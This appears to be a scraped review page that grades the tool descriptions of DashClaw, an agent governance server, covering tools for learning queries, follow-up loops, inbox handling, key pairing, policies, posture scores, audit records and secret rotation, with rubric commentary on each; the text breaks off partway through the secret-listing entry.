Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_learning_queryA
Query the learning database for prior decisions and lessons. Use BEFORE making a decision similar to one you might have made before.
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | Max results (default 10) | |
| query | No | Search text (matches decision/context) | |
| agent_id | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries full burden for behavioral disclosure. It only states the tool 'queries' without revealing potential side effects, rate limits, authentication needs, or behavior on empty results. The description is too sparse for a non-annotated tool.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Extremely concise: two sentences with zero wasted words. The purpose is front-loaded, making it easy for the agent to quickly understand the tool's role.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple query tool with 3 optional parameters and no output schema, the description covers the essential purpose and usage timing. However, it lacks details on return format, pagination, or error conditions, which would aid an agent's decision-making.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 67% (two of three parameters described). The description adds no parameter-specific meaning beyond the schema; it merely restates the function. Baseline of 3 is appropriate given moderate coverage.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action ('Query the learning database') and the resource ('prior decisions and lessons'). It also provides usage context ('Use BEFORE making a decision similar to one you might have made before'), which distinguishes it from other similar sibling tools like dashclaw_learning_log or dashclaw_decisions_recent.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides explicit guidance on when to use the tool ('Use BEFORE making a decision similar to one you might have made before'), but does not mention exclusions or alternatives among sibling tools. The context is clear but could be more comprehensive.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_loop_addA
Register an open loop on a parent action — a commitment made in conversation that needs follow-up. Use when you say "I will X later" so the loop is tracked outside of context. Loops are action-scoped; action_id is required.
| Name | Required | Description | Default |
|---|---|---|---|
| owner | No | Optional owner (agent or human handle) | |
| priority | No | Priority (default medium) | |
| action_id | Yes | Parent action id (act_*) the loop attaches to | |
| loop_type | Yes | Category (e.g., follow_up, blocker, decision_pending) | |
| description | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided. Description indicates it's a create operation but offers no details on side effects, permissions, or return behavior. Minimal behavioral context beyond the schema.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, front-loaded with purpose and usage. Efficient with no unnecessary words, though could optionally include a note about return value.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Adequate for a simple creation tool. Lacks details on output or confirmation, but no output schema exists. With no annotations, more behavioral context would improve completeness.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 80% (4 of 5 parameters have descriptions). The description adds no new meaning beyond stating 'action_id is required', which is already in the schema. Baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool registers an open loop on a parent action, distinguishing it from siblings like dashclaw_loop_close and dashclaw_loop_list by focusing on creation.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says 'Use when you say I will X later', providing clear context for when to use the tool. Does not mention alternatives or when not to use, but the context is sufficient.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_loop_closeA
Resolve an open loop. Call when the followed-up-on item is complete. Requires the loop_id and a short resolution note.
| Name | Required | Description | Default |
|---|---|---|---|
| id | Yes | Loop id (loop_*) | |
| resolution | No | Short note describing how the loop was closed |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must carry the full burden. It only says 'Resolve an open loop,' implying a state change but not disclosing side effects, permanence, or authorization needs. Minimal behavioral info.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, front-loaded with action. Every sentence is necessary and concise.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite low complexity, the description contains an inaccuracy (stating resolution is required) and does not explain what happens when the loop is closed (e.g., side effects on other tools). Incomplete for a simple tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description paraphrases the schema ('requires the loop_id and a short resolution note') but adds no new meaning. It is slightly misleading by implying resolution is required when it is optional.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states 'Resolve an open loop,' using a specific verb and resource. It distinguishes itself from siblings like dashclaw_loop_add and dashclaw_loop_list by indicating a closing action.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
States 'Call when the followed-up-on item is complete,' providing a clear usage context. Does not explicitly exclude alternatives or mention when not to use, but the guidance is adequate.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_loop_listB
List open (or resolved) loops with optional filters. Use on session start to remember what you promised to follow up on.
| Name | Required | Description | Default |
|---|---|---|---|
| to | No | ISO timestamp upper bound (reserved) | |
| from | No | ISO timestamp lower bound (reserved) | |
| status | No | ||
| agent_id | No | Filter by agent (joined via parent action) | |
| priority | No | ||
| action_id | No | Filter by parent action |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It implies a read operation listing loops, but does not disclose data freshness, limits, pagination, or whether it is destructive. Basic transparency is present but lacks important behavioral details.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, efficient and front-loaded. Every sentence adds value, no unnecessary words. Perfectly concise.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema, the description should explain what is returned (e.g., loop details, ordering). It only mentions listing with filters, omitting return format, pagination, and limits. Incomplete for a list tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 67%, so baseline should be higher. The description only says 'with optional filters' without adding meaning to the parameters that lack schema descriptions (status and priority). It does not compensate for the schema gaps.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states it lists loops (open or resolved) with optional filters, and provides a specific use case (session start). However, among siblings there are other list tools, but this is distinct as it explicitly targets loops.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly says 'Use on session start to remember what you promised to follow up on.' This provides clear usage guidance. Does not mention when not to use or alternatives, but the context is clear enough.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_messages_mark_readA
Mark one or more DashClaw inbox messages as read for this agent. Call after processing messages from dashclaw_inbox_list so they stop reappearing as unread. Direct messages are marked read for the target agent; broadcasts record this agent in read_by. Returns { updated: }.
| Name | Required | Description | Default |
|---|---|---|---|
| agent_id | No | Fallback identity when no server-level agent id is configured (the configured id wins) | |
| message_ids | Yes | Message IDs (msg_*) to mark read. |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description discloses behavioral traits: different handling for direct vs broadcast messages, and the return format. It does not mention idempotency or error conditions, but the core behavior is well covered.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Three sentences with no fluff: first sentence states purpose, second gives usage guidance, third adds behavioral detail and return value. Front-loaded and efficient.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite no output schema, the description includes the return format. It explains the behavioral difference for direct vs broadcast messages and the prerequisite relationship with inbox_list, making it self-contained for the agent.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description does not add extra meaning beyond the schema's parameter descriptions. agent_id is explained in schema, message_ids is similarly described.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb (mark) and resource (DashClaw inbox messages) with specific scope (for this agent). It distinguishes from sibling dashclaw_inbox_list by positioning itself as the follow-up action.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly specifies when to call ('after processing messages from dashclaw_inbox_list') and why ('so they stop reappearing as unread'). Does not discuss alternatives or when not to use, but the context is clear enough.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_optimal_files_manifestA
Persist a write plan for selected Optimal Files entries. Returns { manifest_id, expires_at, apply_command }. The local CLI invokes dashclaw code apply <manifest_id> to apply the plan to disk. Manifest expires after 24h.
| Name | Required | Description | Default |
|---|---|---|---|
| selections | Yes | Subset of paths from the preview to write. Each item: { path, mode?: "skip"|"side_by_side"|"merge"|"overwrite", overwrite?, acceptedHeadings?, acceptedBullets? } | |
| session_id | Yes | Code session id (cs_*) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Discloses that it persists a plan and returns a manifest with expiration, but lacks explicit disclosure about destructiveness or side effects. Since no annotations are provided, more behavioral details would be beneficial.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences that efficiently communicate purpose, return type, CLI usage, and expiration with no extraneous information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Covers purpose, return shape, expiration, and CLI command. Missing error scenarios or behavior on repeated calls, but adequate for a simple persist tool with no output schema.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the schema already documents both parameters. The description adds minimal semantic value beyond the schema, referencing 'selected Optimal Files entries' but not detailing the format.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool persists a write plan for Optimal Files entries, specifies the return shape, and mentions the associated CLI command, distinguishing it from sibling tools like dashclaw_optimal_files_preview.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides guidance on how to use the result (CLI command) and notes the 24h expiration, but does not explicitly state when to use this tool versus alternatives or when not to use it.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_optimal_files_previewA
Preview the Optimal Files bundle DashClaw Code Sessions would generate for a given session. Returns the per-file plan with confidence, secret-scan, and overwrite-risk flags. Read-only — does NOT write to disk; pair with dashclaw_optimal_files_manifest to persist a chosen subset.
| Name | Required | Description | Default |
|---|---|---|---|
| session_id | Yes | Code session id (cs_*) from /api/code-sessions/sessions/... |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description fully discloses behavior: read-only, returns per-file plan with confidence, secret-scan, and overwrite-risk flags. No harmful side effects mentioned.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, no unnecessary words. First sentence states core purpose, second adds details and pairing suggestion. Highly efficient.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the simple tool with one parameter and no output schema, the description covers essential points: purpose, read-only nature, returned flags, and relationship to sibling. Could optionally describe output structure in more detail.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Only one parameter (session_id) with 100% schema description coverage. The description does not add additional meaning beyond what the schema already provides, so a baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'Preview' and the resource 'Optimal Files bundle DashClaw Code Sessions would generate'. It distinguishes from the sibling tool by noting that this is read-only and for previewing, while dashclaw_optimal_files_manifest is for persisting.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly states 'Read-only — does NOT write to disk' and recommends pairing with dashclaw_optimal_files_manifest to persist, providing clear when-to-use and when-not-to-use guidance.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_pairA
Enroll this agent's cryptographic identity with DashClaw (operator pairing requests in your inbox ask for exactly this). Generates an RSA-2048 keypair locally, stores the PRIVATE key on this machine only (~/.dashclaw/identity/.pem — never logged, never sent), and POSTs the public key to /api/pairings. An admin then approves the pairing, which creates the agent identity and lets your recorded actions be signature-verified. Set wait:true to poll until approved/expired (max 5 min). After pairing, mark the request message read via dashclaw_messages_mark_read.
| Name | Required | Description | Default |
|---|---|---|---|
| wait | No | Poll the pairing until approved/expired (default false). | |
| agent_id | No | Fallback identity when no server-level agent id is configured (the configured id wins) | |
| agent_name | No | Human-readable agent name shown to the approving admin. |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description fully discloses behavioral traits: generates RSA-2048 keypair locally (including path and security guarantees), POSTs public key, polls if wait=true, and requires admin approval. No contradictions.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is four sentences, front-loaded with the core purpose, and each sentence adds essential information without redundancy. It is highly concise and well-structured.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema, the description covers the entire process: key generation, storage, public key POST, polling behavior, and follow-up action. It provides complete context for the tool's usage and lifecycle.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description adds value by explaining 'wait' with polling details (max 5 min), 'agent_id' as fallback, and 'agent_name' as shown to admin, going beyond the schema descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool enrolls the agent's cryptographic identity with DashClaw, explaining the key generation, storage, and public key posting. It distinguishes from sibling tools by referencing pairing requests in the inbox and mentioning a follow-up action (dashclaw_messages_mark_read).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly connects the tool to operator pairing requests and explains when to use it (when a pairing request is in the inbox). It provides guidance on the 'wait' parameter and suggests a follow-up action, but does not explicitly mention when not to use or list alternatives.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_policies_listA
List active governance policies. Use this to understand what rules govern your actions before taking them. Helps calibrate risk scores and know which action types require approval. Optionally filter to policies applying to a specific agent.
| Name | Required | Description | Default |
|---|---|---|---|
| agent_id | No | Filter to policies applying to a specific agent |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the burden. It states 'active governance policies', implying read-only and non-destructive behavior. However, it does not disclose additional traits like rate limits, return format, or whether inactive policies are excluded. Adequate but minimal.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Three sentences, no wasted words. Front-loaded with the core action, then usage context, then optional filter. Every sentence earns its place.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple tool with one optional parameter and no output schema, the description covers purpose, when to use, and the filter option. It is complete for the agent to understand and invoke correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% and the parameter agent_id has a clear description. The description adds no extra meaning beyond what the schema already provides, so baseline 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states 'List active governance policies' with a specific verb and resource. It also explains the purpose of understanding rules before actions, which distinguishes it from sibling tools like check_policy (checks a specific policy) and list_policy_rules (lists rules).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly tells agents when to use: 'before taking actions' and to understand governing rules. Mentions optional filtering by agent. Does not explicitly state when not to use, but the guidance is clear and actionable.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_postureA
Read the org-wide governance posture score (0-100) and its prioritized remediation queue. Returns the gaming-resistant score, the six dimension breakdowns (identity, enforcement, spend, auditability, approval, data_protection), and the open findings (each with severity, points recoverable, evidence, and the prefilled fix). Read-only governance retrospection — "how well is my fleet actually governed, and what is the highest-leverage gap?" Resolving findings is operator-driven (UI/CLI); an agent can observe gaps but never activates enforcement.
| Name | Required | Description | Default |
|---|---|---|---|
| dimension | No | Filter the returned findings to one dimension. |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description fully carries the behavioral burden. It explicitly states the tool is read-only, never activates enforcement, and describes the gaming-resistant nature of the score. It also clearly details the return data structure.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is fairly long but well-organized with clear separation of purpose, return data, and behavioral constraints. It front-loads the main action and uses quotes to highlight key concepts, though some sentences could be tightened.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema, the description provides a thorough explanation of the return data (score, dimensions, findings with fields). The single optional parameter is clearly explained, and the tool's role as a read-only observability tool is fully covered.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The schema covers the single parameter with a description, and the tool description adds context by listing the six available dimensions in the return data. This helps the agent understand the parameter's purpose beyond the schema alone.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool reads the org-wide governance posture score and remediation queue, listing specific return fields (score, six dimensions, open findings). It distinguishes itself from sibling tools like dashclaw_posture_next by focusing on the current posture rather than next steps.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description indicates this is a read-only introspection tool and clarifies that resolving findings is operator-driven, not agent-driven. It does not explicitly compare to sibling tools or state when-not-to-use, but the context of 'read-only governance retrospection' provides adequate guidance.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_posture_nextA
Return the single highest-priority open governance gap (the top of the posture remediation queue) with its severity, points recoverable, evidence, and prefilled fix. Use for "what is the one governance gap I should close next?" Read-only — preparing or activating the fix is operator-driven, not agent-driven.
| Name | Required | Description | Default |
|---|---|---|---|
No parameters | |||
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full burden and clearly declares the tool as read-only and that fix actions are operator-driven. It does not detail permissions or empty-queue behavior, but for a simple read operation this is sufficient.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two efficient sentences with no waste. The first sentence states the core purpose and return fields; the second clarifies the read-only nature and operator responsibility.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no parameters, no output schema, and simple functionality, the description fully covers what the tool does, what it returns, and usage boundaries. Nothing essential is missing.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The tool has zero parameters (baseline 4). The description adds value by listing the returned fields (severity, points recoverable, evidence, prefilled fix), which goes beyond the input schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it returns the single highest-priority open governance gap with specific fields (severity, points recoverable, evidence, prefilled fix). The explicit use case 'what is the one governance gap I should close next?' makes the purpose unambiguous and distinguishes it from siblings like dashclaw_posture.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides explicit guidance: use for identifying the top gap to close, and clarifies that preparation/activation is operator-driven, not agent-driven. It could be improved by contrasting with related tools (e.g., dashclaw_posture for listing all gaps).
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_recent_decisionsDashClaw recent decisionsC
Read recent DashClaw guard decisions scoped to project/environment when supported by DashClaw.
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | ||
| project | No | ||
| environment | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description must fully disclose behavior. It indicates a read operation but does not mention side effects, permissions, error conditions (e.g., if scoping not supported), or default behavior. The disclosure is minimal.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence of 15 words, which is concise. However, it lacks structure and omits important details such as default limit or behavior when scoping is not supported, making it insufficiently informative for its complexity.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the lack of output schema, no annotations, and a confusing sibling tool, the description is critically incomplete. It does not clarify the distinction from 'dashclaw_decisions_recent', describe the response format, or explain how optional parameters affect results.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0%, so the description must carry the burden. It mentions 'scoped to project/environment' linking project and environment to scoping, but does not explain the 'limit' parameter or provide format, defaults, or constraints beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states 'Read recent DashClaw guard decisions' which clarifies the verb and resource, and mentions scoping to project/environment. However, the sibling tool 'dashclaw_decisions_recent' is similarly named and not distinguished, causing ambiguity.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives like 'dashclaw_decisions_recent'. The description does not include exclusions, prerequisites, or context-specific recommendations.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_recordA
Record a governed action in DashClaw's audit trail. Use this to log significant decisions, completed tasks, or notable outcomes. Every important action the agent takes should be recorded for governance visibility in Mission Control and the Decisions ledger.
| Name | Required | Description | Default |
|---|---|---|---|
| model | No | Model used | |
| status | Yes | Outcome status | |
| agent_id | No | Fallback identity when no server-level agent id is configured (the configured id wins) | |
| reasoning | No | Why this action was chosen | |
| tokens_in | No | Input tokens consumed | |
| confidence | No | Confidence 0-100 | |
| reversible | No | Whether the action can be undone | |
| risk_score | No | Risk level 0-100 (default 30) | |
| session_id | No | Session to attribute this action to. Defaults to the session started via dashclaw_session_start in this connection. | |
| tokens_out | No | Output tokens produced | |
| action_type | Yes | Category (e.g., research, analysis, code_change, deploy) | |
| cost_estimate | No | Estimated cost in USD | |
| declared_goal | Yes | What was accomplished | |
| output_summary | No | Brief summary of what was produced | |
| systems_touched | No | Systems affected |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Without annotations, the description fully bears the burden. It states the tool records an action but lacks details on side effects (e.g., whether it is irreversible, requires permissions, handles duplicates, or provides feedback). No contradictions since annotations are absent, but behavioral details are scant.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise (two sentences) and front-loaded with the core purpose. Every sentence adds value without redundancy or fluff.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 15 parameters (3 required) and no output schema, the description provides general context but does not explain how parameters interplay, typical usage patterns, or what the tool returns upon success. The schema descriptions fill many gaps, but the tool's description could be more complete for complex auditing scenarios.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% with each parameter well-documented in the input schema. The tool's description adds no extra semantic value beyond stating the overall purpose (recording actions). Baseline 3 is appropriate as the schema already explains the parameters adequately.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description explicitly states 'Record a governed action in DashClaw's audit trail' and provides examples ('log significant decisions, completed tasks, or notable outcomes'). It clearly distinguishes from sibling tools like dashclaw_decisions_recent (list) or dashclaw_session_start by focusing on recording actions.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description advises when to use the tool ('Use this to log significant decisions, completed tasks, or notable outcomes. Every important action the agent takes should be recorded'). It implies usage context for governance but does not explicitly mention when not to use it or compare with alternatives, though the specificity is sufficient.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_secret_dueA
List secrets coming due for rotation. Call this BEFORE acting on credentials. If a credential you would use is in the result, flag the operator rather than proceeding.
| Name | Required | Description | Default |
|---|---|---|---|
| agent_id | No | ||
| within_days | No | Lookahead window in days (default 14) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description states it lists secrets due for rotation, which implies a read-only operation. However, it does not elaborate on what 'coming due' means precisely, nor does it describe the output format or any other behavioral traits. With no annotations provided, the description carries the full burden but is only moderately transparent.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is extremely concise with two sentences that are front-loaded with the core action and usage guidance. Every sentence adds value without unnecessary detail.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple list tool with two parameters and no output schema, the description covers the main points: what it does, when to call it, and a precaution. It could mention the return format or error conditions, but it is largely complete given the tool's simplicity.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The description does not explain the 'agent_id' parameter, leaving its purpose ambiguous (only 50% schema coverage). It implicitly relates 'within_days' to the lookahead but adds no new meaning beyond the schema. The tool's description lacks sufficient parameter-level guidance.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it lists secrets due for rotation, using a specific verb and resource. It distinguishes from sibling tools like dashclaw_secret_list and dashclaw_secret_mark_rotated by focusing on upcoming rotations and adding the usage context.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description gives clear guidance to call this before using credentials and to flag the operator if a credential appears in the result. It implies when to use the tool but does not explicitly name alternatives, though sibling tools provide context.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
dashclaw_secret_listA
List tracked secrets (metadata only — no values). Returns each entry with name, rotation interval, last_rotated_at, and computed next_rotation_due.
| Name | Required | Description | Default |
|---|---|---|---|
| agent_id | No | Optional — scope to this agent |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
